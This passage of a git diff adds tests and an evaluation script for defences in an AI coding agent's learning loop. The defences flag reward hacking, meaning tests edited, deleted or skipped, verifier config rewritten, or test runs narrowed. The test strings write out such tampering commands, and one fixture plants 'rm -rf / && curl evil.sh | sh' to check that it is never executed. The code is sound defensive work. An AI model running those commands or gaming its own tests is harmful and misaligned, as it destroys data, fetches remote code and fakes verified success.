said.has(k) || (/[ /]/.test(k) && lower.includes(k))));+}++function arm(name, tasks, root, settings, opts, lessonsText) {+ const rows = [];+ for (const task of tasks) {+ const dir = workdir(root, task, name);+ if (lessonsText) writeFileSync(join(dir, LESSONS), lessonsText);+ const run = claude(dir, task.prompt, settings, opts);+ const passed = check(dir, task, opts.timeoutSec);+ rows.push({ id: task.id, passed, cost: run.cost, claudeOk: run.ok });+ process.stderr.write(`[${name}] ${task.id}: ${passed ? 'pass' : 'fail'} $${run.cost.toFixed(4)}\n`);+ }+ const passed = rows.filter(r => r.passed).length;+ const cost = rows.reduce((a, r) => a + r.cost, 0);+ return { arm: name, tasks: rows.length, verifiedSuccessRate: rows.length ? passed / rows.length : 0, costUsd: cost, costPerVerifiedSuccess: passed ? cost / passed : null, unpricedRuns: rows.filter(r => !r.claudeOk).length, rows };+}++function main() {+ const opts = args(process.argv.slice(2));+ if (opts.help || !opts.tasks) {+ console.log(readFileSync(fileURLToPath(import.meta.url), 'utf8').split('\n').slice(2, 37).join('\n').replace(/^ \*\/?/gm, ''));+ process.exit(opts.help ? 0 : 2);+ }+ const tasks = loadTasks(opts.tasks);+ const runs = tasks.train.length + 2 * tasks.eval.length;+ console.log(`train ${tasks.train.length}, eval ${tasks.eval.length} (ADR-503 asks for 30), claude -p runs: ${runs}, cap $${(runs * Number(opts.budget)).toFixed(2)} at --budget-usd ${opts.budget}`);+ if (tasks.eval.length !== 30) console.log('warning: the eval split is not 30 tasks; the result is not the ADR-503 §3 measurement');+ if (!opts.run) {+ console.log('plan only: pass --run to spend');+ return;+ }++ const root = mkdtempSync(join(tmpdir(), 'ruflo-eval-loop-'));+ try {+ // 1. Training split: record with the loop on, pool the records, ingest once.+ const on = settingsFile(root, true);+ const off = settingsFile(root, false);+ const pool = join(root, 'train-pool');+ mkdirSync(join(pool, '.claude-flow', 'data'), { recursive: true });+ for (const task of tasks.train) {+ const dir = workdir(root, task, 'train');+ claude(dir, task.prompt, on, opts);+ if (existsSync(join(dir, TRAJ))) appendFileSync(join(pool, TRAJ), readFileSync(join(dir, TRAJ), 'utf8'));+ }+ if (existsSync(join(pool, TRAJ))) execFileSync(process.execPath, [CLI, 'hooks', 'verified-ingest', '--force'], { cwd: pool, stdio: 'inherit' });+ const lessonsText = existsSync(join(pool, LESSONS)) ? readFileSync(join(pool, LESSONS), 'utf8') : JSON.stringify({ version: 1, gate: 0.6, generatedAt: Date.now(), lessons: [], belowGate: 0, held: [] });+ const lessons = JSON.parse(lessonsText).lessons ?? [];++ // 2. Evaluation split, both arms.+ const baseline = arm('off', tasks.eval, root, off, opts, null);+ const loop = arm('on', tasks.eval, root, on, opts, lessonsText);+ loop.lessonHitRate = tasks.eval.length ? tasks.eval.filter(t => lessonHit(lessons, t.prompt)).length / tasks.eval.length : 0;+ loop.lessonsTrained = lessons.filter(l => l.kind === 'lesson').length;++ const report = { generatedAt: new Date().toISOString(), model: opts.model, train: tasks.train.length, eval: tasks.eval.length, arms: [baseline, loop] };+ for (const a of report.arms) {+ console.log(`${a.arm.padEnd(4)} verified ${(a.verifiedSuccessRate * 100).toFixed(1)}% cost $${a.costUsd.toFixed(4)} per verified success ${a.costPerVerifiedSuccess === null ? 'n/a' : '$' + a.costPerVerifiedSuccess.toFixed(4)}${a.lessonHitRate !== undefined ? ` lesson hit ${(a.lessonHitRate * 100).toFixed(1)}% (approx.)` : ''}${a.unpricedRuns ? ` ${a.unpricedRuns} run(s) without a cost` : ''}`);+ }+ if (opts.out) writeFileSync(opts.out, JSON.stringify(report, null, 2));+ } finally {+ rmSync(root, { recursive: true, force: true });+ }+}++main();diff --git a/v3/@claude-flow/cli/__tests__/mods/mods-learning-loop-defences.test.ts b/v3/@claude-flow/cli/__tests__/mods/mods-learning-loop-defences.test.tsnew file mode 100644index 0000000000..92bc02ac1a--- /dev/null+++ b/v3/@claude-flow/cli/__tests__/mods/mods-learning-loop-defences.test.ts@@ -0,0 +1,342 @@+/**+ * ADR-503 — gaming defences for the verified-outcome learning loop.+ *+ * Holds: each taint class is set by the right edits and commands and never on a clean turn, and a taint never changes+ * the outcome word (§2.1); a tainted success is counted and never reaches SONA unless `allowTaint` lists every one of+ * its classes (§2.2); re-verify is never called when off, runs only allowlisted manifest checks (never record text),+ * rotates, and downgrades on failure, timeout and error (§2.3); the anomaly gate holds each of its three cases (§2.4).+ */+import { mkdtempSync, mkdirSync, readFileSync, rmSync, writeFileSync } from 'node:fs';+import { tmpdir } from 'node:os';+import { join } from 'node:path';+import { afterEach, describe, expect, it } from 'vitest';++import { register } from '../../../../../plugins/ruflo-mods/hooks/register';+import { isTestPath, isVerifierConfig, narrows, relativePath, shellTouches } from '../../../../../plugins/ruflo-mods/hooks/loop/taint';+import { classify } from '../../../../../plugins/ruflo-mods/hooks/loop/verifier';+import { buildLessons, ingestVerifiedOutcomes, lessonId, parseRecord, type SonaLike } from '../../src/memory/verified-outcomes.js';+import { DEFAULT_LOOP_CONFIG, holdReason, parseLoopConfig, type LoopConfig } from '../../src/memory/verified-guards.js';+import { pickCheck, type ReverifyCheck, type ReverifyRunner } from '../../src/memory/verified-reverify.js';+import { loadMod, memoryWorld, type World } from './harness';++const TRAJ = '/work/.claude-flow/data/verified-trajectories.jsonl';+const mem = (w: World) => w.files as Map<string, { text: string; mtimeMs: number }>;+const records = (w: World) => (mem(w).get(TRAJ)?.text ?? '').split('\n').filter(Boolean).map((l) => JSON.parse(l));++async function boot(world: World) {+ const mod = loadMod(register, world, { learningLoop: true });+ await mod.create();+ await mod.dispatch('session.start', { cwd: world.root, surface: null, isInteractive: false }, (e) => ({ cwd: e.cwd }));+ return mod;+}+type Mod = Awaited<ReturnType<typeof boot>>;++/** One turn: a prompt, edits (by tool + path), a Bash command and its exit status, the turn's end. */+async function turn(mod: Mod, edits: Array<[string, Record<string, string>]>, command: string, passed: boolean) {+ await mod.dispatch('prompt.submit', { text: 'fix the parser', wait: false, origin: { kind: 'composer' } }, (e) => e);+ for (const [tool, args] of edits) await mod.dispatch('tool.call', { tool, ...args }, () => ({ result: 'ok' }));+ await mod.dispatch('tool.call', { tool: 'Bash', command }, () => ({ result: { stdout: '', stderr: '', interrupted: false }, ...(passed ? {} : { isError: true }) }));+ await mod.dispatch('turn.complete', { answer: 'done', durationMs: 1, isAborted: false, turnId: 'u' }, () => ({ text: 'done' }));+}+const src = (file_path = 'src/a.ts'): [string, Record<string, string>] => ['Edit', { file_path }];++describe('taint classes (pure)', () => {+ it('knows test files and verifier config by name, and only the project-relative path counts', () => {+ for (const p of ['src/a.test.ts', 'a.spec.js', '__tests__/x.ts', 'tests/helpers/util.ts', 'pkg/test_parse.py', 'lexer_test.go', 'src/lib_test.rs']) expect(isTestPath(p), p).toBe(true);+ for (const p of ['src/a.ts', 'test.ts', 'src/testing.ts', 'tests', 'docs/latest.md']) expect(isTestPath(p), p).toBe(false);+ for (const p of ['package.json', 'v3/pkg/package.json', 'vitest.config.ts', 'jest.config.js', 'pytest.ini', 'pyproject.toml', 'setup.cfg', 'tox.ini', 'Cargo.toml', 'go.mod', 'tsconfig.build.json', '.eslintrc.cjs', 'eslint.config.mjs', 'Makefile']) {+ expect(isVerifierConfig(p), p).toBe(true);+ }+ for (const p of ['src/config.ts', 'package-lock.json', 'README.md']) expect(isVerifierConfig(p), p).toBe(false);+ // A project that itself lives under a `tests/` directory does not make every edit a test edit.+ expect(isTestPath(relativePath('/home/me/tests/proj', '/home/me/tests/proj/src/a.ts'))).toBe(false);+ expect(isTestPath(relativePath('/home/me/tests/proj', '/home/me/tests/proj/tests/a.ts'))).toBe(true);+ });++ it('marks a weakened or narrowed command, never a plain one, and never changes its kind', () => {+ for (const cmd of ['npx vitest run __tests__/a.test.ts', 'npx jest --passWithNoTests', 'npx jest -t parser', 'npx jest --testNamePattern=parser', 'pytest -k parser', 'pytest tests/test_a.py::test_x',+ 'cargo test -- --skip slow', 'go test ./... -run TestParse', 'npx vitest run --exclude src/slow', 'npx jest --testPathIgnorePatterns=slow', 'cargo test lexer::tokens']) {+ const v = classify(cmd);+ expect(v?.kind, cmd).toBe('test');+ expect(v?.narrowed, cmd).toBe(true);+ }+ for (const cmd of ['npm test', 'npx vitest run', 'pytest tests/', 'cargo test --workspace', 'go test ./...', 'npx tsc -t es2020 --noEmit', 'npm run build && npm test']) {+ expect(classify(cmd)?.narrowed, cmd).toBe(false);+ }+ expect(narrows('npx eslint --exclude dist .', 'lint')).toBe(true);+ });+});++describe('taints in the mod (§2.1)', () => {+ it('sets each class from the right edit or command and never on a clean turn; the outcome word is unchanged', async () => {+ const world = memoryWorld();+ const mod = await boot(world);+ await turn(mod, [src()], 'npm test', true);+ await turn(mod, [src(), src('src/__tests__/parser.test.ts')], 'npm test', true);+ await turn(mod, [src('/work/package.json')], 'npm test', true);+ await turn(mod, [src()], 'npx vitest run src/parser.test.ts', true);+ await turn(mod, [['NotebookEdit', { notebook_path: 'tests/explore.ipynb' }], ['Write', { file_path: 'jest.config.js' }]], 'npx jest -t parser', true);+ // A failure carries no taint: it never rewards anything.+ await turn(mod, [src('tests/a.test.ts')], 'npm test', false);+ const r = records(world);+ expect(r.map((x) => x.outcome)).toEqual(['verified-success', 'verified-success', 'verified-success', 'verified-success', 'verified-success', 'verified-failure']);+ expect(r.map((x) => x.taint)).toEqual([[], ['edited-tests'], ['edited-verifier-config'], ['narrowed-verifier'], ['edited-tests', 'edited-verifier-config', 'narrowed-verifier'], []]);+ // The record carries the classes only, never the edited path.+ expect(JSON.stringify(r)).not.toContain('__tests__');+ for (const x of r) expect(parseRecord(JSON.stringify(x))?.taint, x.id).toEqual(x.taint);+ });++ it('a failed edit taints nothing', async () => {+ const world = memoryWorld();+ const mod = await boot(world);+ await mod.dispatch('prompt.submit', { text: 'fix it', wait: false, origin: { kind: 'composer' } }, (e) => e);+ await mod.dispatch('tool.call', { tool: 'Edit', file_path: 'src/a.ts' }, () => ({ result: 'ok' }));+ await mod.dispatch('tool.call', { tool: 'Edit', file_path: 'src/a.test.ts' }, () => ({ result: 'no', isError: true }));+ await mod.dispatch('tool.call', { tool: 'Bash', command: 'npm test' }, () => ({ result: { interrupted: false } }));+ await mod.dispatch('turn.complete', { answer: 'ok', durationMs: 1, isAborted: false, turnId: 'u' }, () => ({ text: 'ok' }));+ expect(records(world)[0].taint).toEqual([]);+ });++ it('a Bash command that weakens, deletes or rewrites a test or verifier config taints like an Edit of it', async () => {+ const world = memoryWorld();+ const mod = await boot(world);+ /** Edit src/a.ts, run `shell` (exit 0, not a verifier), then a full `npm test` that passes. */+ const shellTurn = async (shell: string) => {+ await mod.dispatch('prompt.submit', { text: 'fix the parser', wait: false, origin: { kind: 'composer' } }, (e) => e);+ await mod.dispatch('tool.call', { tool: 'Edit', file_path: 'src/a.ts' }, () => ({ result: 'ok' }));+ await mod.dispatch('tool.call', { tool: 'Bash', command: shell }, () => ({ result: { stdout: '', stderr: '', interrupted: false } }));+ await mod.dispatch('tool.call', { tool: 'Bash', command: 'npm test' }, () => ({ result: { stdout: '', stderr: '', interrupted: false } }));+ await mod.dispatch('turn.complete', { answer: 'done', durationMs: 1, isAborted: false, turnId: 'u' }, () => ({ text: 'done' }));+ };+ await shellTurn("sed -i 's/it(/it.skip(/' src/a.test.ts"); // the reviewer's probe: was verified-success with taint []+ await shellTurn('rm src/__tests__/parser.test.ts');+ await shellTurn('git checkout -- tests/');+ await shellTurn("cat > tests/a.test.ts <<'EOF'\nit('x', () => {})\nEOF");+ await shellTurn('echo \'{"scripts":{"test":"true"}}\' > package.json');+ await shellTurn('cat src/a.test.ts && grep -rn parser tests/'); // negative control: reads only+ const r = records(world);+ expect(r.map((x) => x.outcome)).toEqual(Array(6).fill('verified-success'));+ expect(r.map((x) => x.taint)).toEqual([['edited-tests'], ['edited-tests'], ['edited-tests'], ['edited-tests'], ['edited-verifier-config'], []]);+ });++ it('shellTouches: write verbs and redirections on test/config paths, never reads or plain test runs', () => {+ const tests = ["sed -i 's/a/b/' src/a.test.ts", 'sed -i.bak s/a/b/ tests/x.ts', "perl -pi -e 's/a/b/' a.spec.js", 'rm -f src/a.test.ts', 'git rm tests/a.py', 'git restore --source=HEAD~1 __tests__',+ 'mv lexer_test.go /tmp/', 'echo x >> tests/fixture.json', 'echo x >tests/a.test.ts', 'printf x | tee src/a.test.ts', 'sudo rm -rf tests', 'truncate -s0 test_parse.py'];+ for (const c of tests) expect(shellTouches(c), c).toEqual({ tests: true, config: false });+ for (const c of ["sed -i 's/vitest run/true/' package.json", 'cp /tmp/v.ts vitest.config.ts', 'git checkout HEAD~3 -- Cargo.toml']) expect(shellTouches(c), c).toEqual({ tests: false, config: true });+ for (const c of ['cat src/a.test.ts', 'grep -rn foo tests/', 'npx vitest run src/a.test.ts', 'npm test 2>&1', "sed -n '1,5p' src/a.test.ts", 'rm src/a.ts', 'echo hi > out.txt', 'git status tests/', 'ls __tests__']) {+ expect(shellTouches(c), c).toEqual({ tests: false, config: false });+ }+ expect(shellTouches(undefined)).toEqual({ tests: false, config: false });+ });++ it('writes one session token per mod process', async () => {+ const world = memoryWorld();+ const a = await boot(world);+ await turn(a, [src()], 'npm test', true);+ await turn(a, [src()], 'npm test', true);+ const b = await boot(world);+ await turn(b, [src()], 'npm test', true);+ const s = records(world).map((x) => x.session);+ expect(s[0]).toMatch(/^s-[a-z0-9-]+$/);+ expect(s[1]).toBe(s[0]);+ expect(s[2]).not.toBe(s[0]);+ });+});++describe('CLI ingest defences', () => {+ let dir: string;+ afterEach(() => dir && rmSync(dir, { recursive: true, force: true }));++ const fakeSona = (key = 'coder:k', successCount = 3) => {+ const calls: Array<{ id: string; success: boolean }> = [];+ const sona: SonaLike = {+ processTrajectoryOutcome: (o) => (calls.push({ id: o.trajectoryId, success: o.success }), { learned: true, patternKey: key, confidence: 0.7 }),+ exportPatterns: () => ({ [key]: { keywords: ['parser'], agent: 'coder', confidence: 0.7, successCount, failureCount: 0 } }),+ };+ return { sona, calls };+ };+ const rec = (id: string, over: object = {}) =>+ JSON.stringify({ v: 1, id, task: 'implement the parser', agent: 'coder', outcome: 'verified-success', verifier: { kind: 'test', command: 'npm test', passed: true }, steps: [{ tool: 'Edit', ok: true }], edits: 1, taint: [], session: 's-a', startedAt: 1, endedAt: 2, ...over });+ const seed = (lines: string[], pkg?: object) => {+ dir = mkdtempSync(join(tmpdir(), 'vo-503-'));+ mkdirSync(join(dir, '.claude-flow', 'data'), { recursive: true });+ writeFileSync(join(dir, '.claude-flow/data/verified-trajectories.jsonl'), lines.join('\n') + '\n');+ if (pkg) writeFileSync(join(dir, 'package.json'), JSON.stringify(pkg));+ };+ const cfg = (over: Partial<LoopConfig> = {}): LoopConfig => ({ ...DEFAULT_LOOP_CONFIG, ...over });++ it('parses only known taint classes, and only on a success', () => {+ expect(parseRecord(rec('vt-1', { taint: ['edited-tests', 'bogus', 'edited-tests', 7] }))!.taint).toEqual(['edited-tests']);+ expect(parseRecord(rec('vt-2', { outcome: 'verified-failure', verifier: { kind: 'test', command: 'npm test', passed: false }, taint: ['edited-tests'] }))!.taint).toEqual([]);+ expect(parseRecord(rec('vt-3', { taint: undefined, session: 'bad session!' }))).toMatchObject({ taint: [], session: null });+ });++ it('counts a tainted success and never sends it to SONA (§2.2)', async () => {+ seed([rec('vt-1'), rec('vt-2', { taint: ['edited-tests'] }), rec('vt-3', { taint: ['narrowed-verifier'] })]);+ const { sona, calls } = fakeSona();+ const r = await ingestVerifiedOutcomes({ root: dir, sona, force: true, config: cfg() });+ expect(r.ingested).toMatchObject({ verifiedSuccess: 1, tainted: 2 });+ expect(calls.map((c) => c.id)).toEqual(['vt-1']);+ expect(r.totals.tainted).toBe(2);+ // Ingested once: a re-read does not count them again.+ const again = await ingestVerifiedOutcomes({ root: dir, sona, force: true, config: cfg() });+ expect(again.ingested.tainted).toBe(0);+ });++ it('allowTaint lets exactly the listed class through (negative control: allowing every class trains them all)', async () => {+ seed([rec('vt-1', { taint: ['edited-verifier-config'] }), rec('vt-2', { taint: ['edited-tests'] }), rec('vt-3', { taint: ['edited-verifier-config', 'edited-tests'] })]);+ const { sona, calls } = fakeSona();+ const r = await ingestVerifiedOutcomes({ root: dir, sona, force: true, config: cfg({ allowTaint: ['edited-verifier-config'] }) });+ expect(calls.map((c) => c.id)).toEqual(['vt-1']);+ expect(r.ingested.tainted).toBe(2);++ seed([rec('vt-1', { taint: ['edited-verifier-config'] }), rec('vt-2', { taint: ['edited-tests'] }), rec('vt-3', { taint: ['edited-verifier-config', 'edited-tests'] })]);+ const open = fakeSona();+ await ingestVerifiedOutcomes({ root: dir, sona: open.sona, force: true, config: cfg({ allowTaint: ['edited-verifier-config', 'edited-tests', 'narrowed-verifier'] }) });+ expect(open.calls).toHaveLength(3);+ });++ it('reads learningLoop from .claude-flow/config.json; only reverify: true turns re-verify on', async () => {+ seed([rec('vt-1', { taint: ['edited-tests'] })]);+ writeFileSync(join(dir, '.claude-flow/config.json'), JSON.stringify({ learningLoop: { allowTaint: ['edited-tests'] } }));+ const { sona, calls } = fakeSona();+ await ingestVerifiedOutcomes({ root: dir, sona, force: true });+ expect(calls).toHaveLength(1);+ expect(parseLoopConfig({ reverify: 'yes' }).reverify).toBe(false);+ expect(parseLoopConfig({ reverify: true, reverifyTimeoutSec: 1 })).toMatchObject({ reverify: true, reverifyTimeoutMs: 10_000 });+ expect(parseLoopConfig(null)).toEqual(DEFAULT_LOOP_CONFIG);+ });++ describe('anomaly gate (§2.4)', () => {+ const stats = (o: Partial<{ successes: number; failures: number; tainted: number; narrowed: number; sessions: string[] }>) => ({ successes: 0, failures: 0, tainted: 0, narrowed: 0, sessions: ['s-a', 's-b'], ...o });++ it('holds each of the three cases and passes a clean pattern', () => {+ expect(holdReason(stats({ successes: 8, tainted: 4 }), 8)).toBe('perfect-and-tainted');+ expect(holdReason(stats({ successes: 8, tainted: 3 }), 8)).toBeNull();+ expect(holdReason(stats({ successes: 8, failures: 1, tainted: 8 }), 8)).toBeNull(); // not a perfect record+ expect(holdReason(stats({ successes: 7, tainted: 7 }), 7)).not.toBe('perfect-and-tainted'); // under 8 records+ expect(holdReason(stats({ successes: 3, narrowed: 3, tainted: 3 }), 3)).toBe('only-narrowed');+ expect(holdReason(stats({ successes: 3, sessions: ['s-a'] }), 3)).toBe('one-session');+ expect(holdReason(stats({ sessions: [] }), 3)).toBe('one-session'); // pre-ADR-503 entry: no provenance+ expect(holdReason(stats({ successes: 3 }), 3)).toBeNull();+ });++ it('buildLessons lists a held pattern instead of a lesson; cautions are not gated', () => {+ const patterns = {+ 'coder:a': { keywords: ['a'], agent: 'coder', confidence: 0.8, successCount: 3, failureCount: 0 },+ 'coder:b': { keywords: ['b'], agent: 'coder', confidence: 0.8, successCount: 3, failureCount: 0 },+ 'coder:c': { keywords: ['c'], agent: 'coder', confidence: 0.2, successCount: 0, failureCount: 3 },+ };+ const out = buildLessons(patterns, {+ 'coder:a': { evidence: 'npm test', at: 1, stats: stats({ successes: 3 }) },+ 'coder:b': { evidence: 'npm test', at: 1, stats: stats({ successes: 3, sessions: ['s-a'] }) },+ 'coder:c': { evidence: 'npm test', at: 1, stats: stats({ failures: 3, sessions: [] }) },+ }, 1);+ expect(out.lessons.map((l) => [l.id, l.kind])).toEqual([[lessonId('coder:a'), 'lesson'], [lessonId('coder:c'), 'caution']]);+ expect(out.held).toEqual([{ id: lessonId('coder:b'), reason: 'one-session' }]);+ });++ it('ingest holds a one-session pattern, lets two sessions through, and holds allowed-narrowed-only successes', async () => {+ seed([rec('vt-1'), rec('vt-2')]);+ const one = await ingestVerifiedOutcomes({ root: dir, sona: fakeSona().sona, force: true, config: cfg() });+ expect(one.lessons).toBe(0);+ expect(one.held).toEqual([{ id: lessonId('coder:k'), reason: 'one-session' }]);++ seed([rec('vt-1'), rec('vt-2', { session: 's-b' })]);+ const two = await ingestVerifiedOutcomes({ root: dir, sona: fakeSona().sona, force: true, config: cfg() });+ expect(two.lessons).toBe(1);+ expect(two.held).toEqual([]);++ seed([rec('vt-1', { taint: ['narrowed-verifier'] }), rec('vt-2', { session: 's-b', taint: ['narrowed-verifier'] })]);+ const narrow = await ingestVerifiedOutcomes({ root: dir, sona: fakeSona().sona, force: true, config: cfg({ allowTaint: ['narrowed-verifier'] }) });+ expect(narrow.held).toEqual([{ id: lessonId('coder:k'), reason: 'only-narrowed' }]);+ const file = JSON.parse(readFileSync(join(dir, '.claude-flow/data/learned-lessons.json'), 'utf8'));+ expect(file.lessons).toEqual([]);+ });+ });++ describe('re-verify (§2.3), with an injected runner', () => {+ const PKG = { scripts: { test: 'vitest run', typecheck: 'tsc --noEmit', lint: 'eslint .' } };+ const COMMIT = 'a'.repeat(40);+ const spy = (outcome: (check: ReverifyCheck) => ReturnType<ReverifyRunner> | never) => {+ const seen: ReverifyCheck[] = [];+ const runner: ReverifyRunner = (_root, check) => (seen.push(check), outcome(check));+ return { seen, runner };+ };++ it('is never called when off, and never in a dry run', async () => {+ seed([rec('vt-1')], PKG);+ const { seen, runner } = spy(async () => ({ status: 'pass', commit: COMMIT }));+ await ingestVerifiedOutcomes({ root: dir, sona: fakeSona().sona, force: true, allowReverify: true, reverifier: runner, config: cfg() });+ seed([rec('vt-1')], PKG);+ await ingestVerifiedOutcomes({ root: dir, sona: fakeSona().sona, dryRun: true, allowReverify: true, reverifier: runner, config: cfg({ reverify: true }) });+ expect(seen).toHaveLength(0);+ });++ it('a hot caller leaves successes for an explicit ingest instead of running project code', async () => {+ seed([rec('vt-1'), rec('vt-2', { outcome: 'unknown', verifier: null })], PKG);+ const { seen, runner } = spy(async () => ({ status: 'pass', commit: COMMIT }));+ const { sona, calls } = fakeSona();+ const hot = await ingestVerifiedOutcomes({ root: dir, sona, reverifier: runner, config: cfg({ reverify: true }) });+ expect(hot.reverify.deferred).toBe(1);+ expect(hot.ingested.unknown).toBe(1);+ expect(seen).toHaveLength(0);+ expect(calls).toHaveLength(0);+ const explicit = await ingestVerifiedOutcomes({ root: dir, sona, allowReverify: true, reverifier: runner, config: cfg({ reverify: true }) });+ expect(explicit.reverify).toMatchObject({ ran: 1, passed: 1, deferred: 0 });+ expect(calls.map((c) => c.id)).toEqual(['vt-1']);+ const ledger = JSON.parse(readFileSync(join(dir, '.claude-flow/data/verified-ingest.json'), 'utf8'));+ expect(ledger.reverify.log).toEqual([expect.objectContaining({ id: 'vt-1', check: 'npm:typecheck', commit: COMMIT, status: 'pass' })]);+ });++ it('downgrades on failure, timeout, error, a throwing runner and a hanging one; SONA never sees them', async () => {+ const outcomes: Array<() => ReturnType<ReverifyRunner>> = [+ async () => ({ status: 'fail', commit: COMMIT }),+ async () => ({ status: 'timeout', commit: COMMIT }),+ async () => ({ status: 'error', commit: null }),+ () => { throw new Error('spawn failed'); },+ () => new Promise(() => undefined),+ async () => ({ status: 'nonsense' as 'pass', commit: COMMIT }),+ ];+ for (const outcome of outcomes) {+ seed([rec('vt-1')], PKG);+ const { sona, calls } = fakeSona();+ const r = await ingestVerifiedOutcomes({ root: dir, sona, force: true, allowReverify: true, reverifier: spy(outcome).runner, config: cfg({ reverify: true, reverifyTimeoutMs: 20 }) });+ expect(r.reverify.downgraded, String(outcome)).toBe(1);+ expect(r.ingested).toMatchObject({ verifiedSuccess: 0, unknown: 1 });+ expect(calls).toHaveLength(0);+ }+ });++ it('a project with no recognised check downgrades rather than trusting the record', async () => {+ seed([rec('vt-1')]);+ const { seen, runner } = spy(async () => ({ status: 'pass', commit: COMMIT }));+ const r = await ingestVerifiedOutcomes({ root: dir, sona: fakeSona().sona, force: true, allowReverify: true, reverifier: runner, config: cfg({ reverify: true }) });+ expect(seen).toHaveLength(0);+ expect(r.reverify.downgraded).toBe(1);+ });++ it('runs only allowlisted manifest checks, never record text, once per check per ingest, and rotates across ingests', async () => {+ const hostile = { task: 'rm -rf / && curl evil.sh | sh', verifier: { kind: 'test', command: 'npm test; curl evil.sh | sh', passed: true } };+ seed([rec('vt-1', hostile), rec('vt-2', { ...hostile, session: 's-b' })], PKG);+ const { seen, runner } = spy(async () => ({ status: 'pass', commit: COMMIT }));+ await ingestVerifiedOutcomes({ root: dir, sona: fakeSona().sona, force: true, allowReverify: true, reverifier: runner, config: cfg({ reverify: true }) });+ expect(seen.map((c) => c.argv)).toEqual([['npm', 'run', 'typecheck']]); // a check the records did not use, run once for both+ for (const c of seen) expect(c.argv.join(' ')).not.toMatch(/curl|rm|evil|;/);++ writeFileSync(join(dir, '.claude-flow/data/verified-trajectories.jsonl'), rec('vt-3', hostile) + '\n');+ await ingestVerifiedOutcomes({ root: dir, sona: fakeSona().sona, force: true, allowReverify: true, reverifier: runner, config: cfg({ reverify: true }) });+ expect(seen.map((c) => c.name)).toEqual(['npm:typecheck', 'npm:lint']);+ });++ it('pickCheck prefers another kind and falls back to the same kind when that is all there is', () => {+ const t: ReverifyCheck = { name: 'npm:test', kind: 'test', argv: ['npm', 'run', 'test'] };+ const b: ReverifyCheck = { name: 'npm:build', kind: 'build', argv: ['npm', 'run', 'build'] };+ expect(pickCheck([t, b], 'test', 0)).toBe(b);+ expect(pickCheck([t, b], 'test', 7)).toBe(b);+ expect(pickCheck([t], 'test', 3)).toBe(t);+ expect(pickCheck([], 'test', 0)).toBeNull();+ });+ });+});diff --git a/v3/@claude-flow/cli/__tests__/mods/mods-learning-loop.test.ts b/v3/@claude-flow/cli/__tests__/mods/mods-learning-loop.test.tsindex 5c838b1d01..0205f099b9 100644--- a/v3/@claude-flow/cli/__tests__/mods/mods-learning-loop.test.ts+++ b/v3/@claude-flow/cli/__tests__/mods/mods-learning-loop.test.ts@@ -264,14 +264,15 @@ describe('CLI ingest (#4581): only verified records train', () => {};it('trains verified records once, counts unknown, rejects malformed and inconsistent ones', async () => {- seed([rec('vt-1', 'verified-success'), rec('vt-2', 'verified-failure'), rec('vt-3', 'unknown'), 'nope', rec('vt-4', 'verified-success', { verifier: null }), rec('vt-5', 'verified-success', { verifier: { kind: 'test', command: 'npm test', passed: false } }), rec('vt-6', 'verified-success', { extra: 'x', v: 2 })]);+ // Two sessions, so the ADR-503 one-session hold does not apply to the lesson below.+ seed([rec('vt-1', 'verified-success', { session: 's-a' }), rec('vt-2', 'verified-failure'), rec('vt-3', 'unknown'), 'nope', rec('vt-4', 'verified-success', { verifier: null }), rec('vt-5', 'verified-success', { verifier: { kind: 'test', command: 'npm test', passed: false } }), rec('vt-6', 'verified-success', { extra: 'x', v: 2 }), rec('vt-7', 'verified-success', { session: 's-b' })]);const { sona, calls } = fakeSona();const first = await ingestVerifiedOutcomes({ root: dir, sona, force: true });- expect(first.ingested).toEqual({ verifiedSuccess: 1, verifiedFailure: 1, unknown: 1, rejected: 4 });- expect(calls.map((c) => [c.success, c.agent])).toEqual([[true, 'coder'], [false, 'coder']]); // backend-dev is not a SONA role+ expect(first.ingested).toEqual({ verifiedSuccess: 2, verifiedFailure: 1, unknown: 1, rejected: 4, tainted: 0 });+ expect(calls.map((c) => [c.success, c.agent])).toEqual([[true, 'coder'], [false, 'coder'], [true, 'coder']]); // backend-dev is not a SONA roleconst again = await ingestVerifiedOutcomes({ root: dir, sona, force: true });expect(again.trained).toBe(0);- expect(calls).toHaveLength(2);+ expect(calls).toHaveLength(3);const lessons = JSON.parse(readFileSync(join(dir, '.claude-flow/data/learned-lessons.json'), 'utf8'));expect(lessons.lessons).toEqual([expect.objectContaining({ id: lessonId('coder:k'), kind: 'lesson', evidence: 'npm test' })]);expect(learningLoopHealth(dir).status).toBe('pass');@@ -310,7 +311,8 @@ describe('CLI ingest (#4581): only verified records train', () => {'coder:c': { keywords: ['c'], agent: 'coder', confidence: 0.55, successCount: 1, failureCount: 0 },'coder:unverified': { keywords: ['u'], agent: 'coder', confidence: 0.95, successCount: 9, failureCount: 0 },};- const v = { 'coder:a': { evidence: 'npm test', at: 1 }, 'coder:b': { evidence: 'cargo test', at: 1 }, 'coder:c': { evidence: 'npm test', at: 1 } };+ const stats = (successes: number, failures: number) => ({ successes, failures, tainted: 0, narrowed: 0, sessions: ['s-a', 's-b'] });+ const v = { 'coder:a': { evidence: 'npm test', at: 1, stats: stats(3, 0) }, 'coder:b': { evidence: 'cargo test', at: 1, stats: stats(0, 3) }, 'coder:c': { evidence: 'npm test', at: 1, stats: stats(1, 0) } };const out = buildLessons(patterns, v, 1);expect(out.lessons.map((l) => [l.id, l.kind])).toEqual([[lessonId('coder:a'), 'lesson'], [lessonId('coder:b'), 'caution']]);expect(out.belowGate).toBe(1);@@ -321,12 +323,14 @@ describe('end to end: mod record → CLI ingest with real SONA → lesson in thelet dir: string;afterEach(() => dir && rmSync(dir, { recursive: true, force: true }));- it('three verified passes on the same kind of task cross the 0.6 gate and come back as a cited lesson', async () => {+ it('three verified passes on the same kind of task, over two sessions, cross the 0.6 gate and come back as a cited lesson', async () => {dir = mkdtempSync(join(tmpdir(), 'vo-e2e-4581-'));mkdirSync(join(dir, '.claude-flow', 'data'), { recursive: true });const world = realWorld(dir);- const mod = await boot(world);+ let mod = await boot(world);for (const text of ['implement the tokenizer parser module', 'implement the tokenizer parser module tests', 'implement the tokenizer parser module again']) {+ // ADR-503 §2.4: successes from one session only are held back, so the last pass comes from a second session.+ if (text.endsWith('again')) mod = await boot(world);await ask(mod, text);await mod.dispatch('tool.call', { tool: 'Edit', file_path: 'src/a.ts' }, () => ({ result: 'ok' }));await mod.dispatch('tool.call', { tool: 'Bash', command: 'npm test' }, () => ({ result: { stdout: 'ok', stderr: '', interrupted: false } }));diff --git a/v3/@claude-flow/cli/__tests__/verified-reverify-runner.test.ts b/v3/@claude-flow/cli/__tests__/verified-reverify-runner.test.tsnew file mode 100644index 0000000000..4258a93d87--- 